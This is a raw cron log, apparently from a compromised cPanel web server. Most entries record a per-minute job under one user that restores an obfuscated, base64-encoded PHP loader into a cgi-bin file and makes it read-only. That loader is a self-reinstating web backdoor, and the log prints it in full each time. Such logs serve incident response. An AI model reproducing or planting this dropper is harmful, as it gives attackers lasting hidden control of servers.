Nov  9 13:01:01 server CROND[5959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:01:01 server CROND[5960]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 13:01:01 server run-parts(/etc/cron.hourly)[5960]: starting 0anacron
Nov  9 13:01:01 server run-parts(/etc/cron.hourly)[5972]: finished 0anacron
Nov  9 13:02:01 server CROND[6791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:03:01 server CROND[7335]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:04:01 server CROND[8142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:05:01 server CROND[9170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:05:01 server CROND[9171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:05:01 server CROND[9172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:05:01 server CROND[9173]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 13:06:01 server CROND[10133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:07:01 server CROND[10950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:08:01 server CROND[11802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:09:01 server CROND[12619]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 13:09:01 server CROND[12620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:10:01 server CROND[13434]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:10:01 server CROND[13436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:10:01 server CROND[13437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 13:10:01 server CROND[13435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:11:01 server CROND[14402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:12:01 server CROND[15146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:12:01 server CROND[15147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 13:13:01 server CROND[15955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
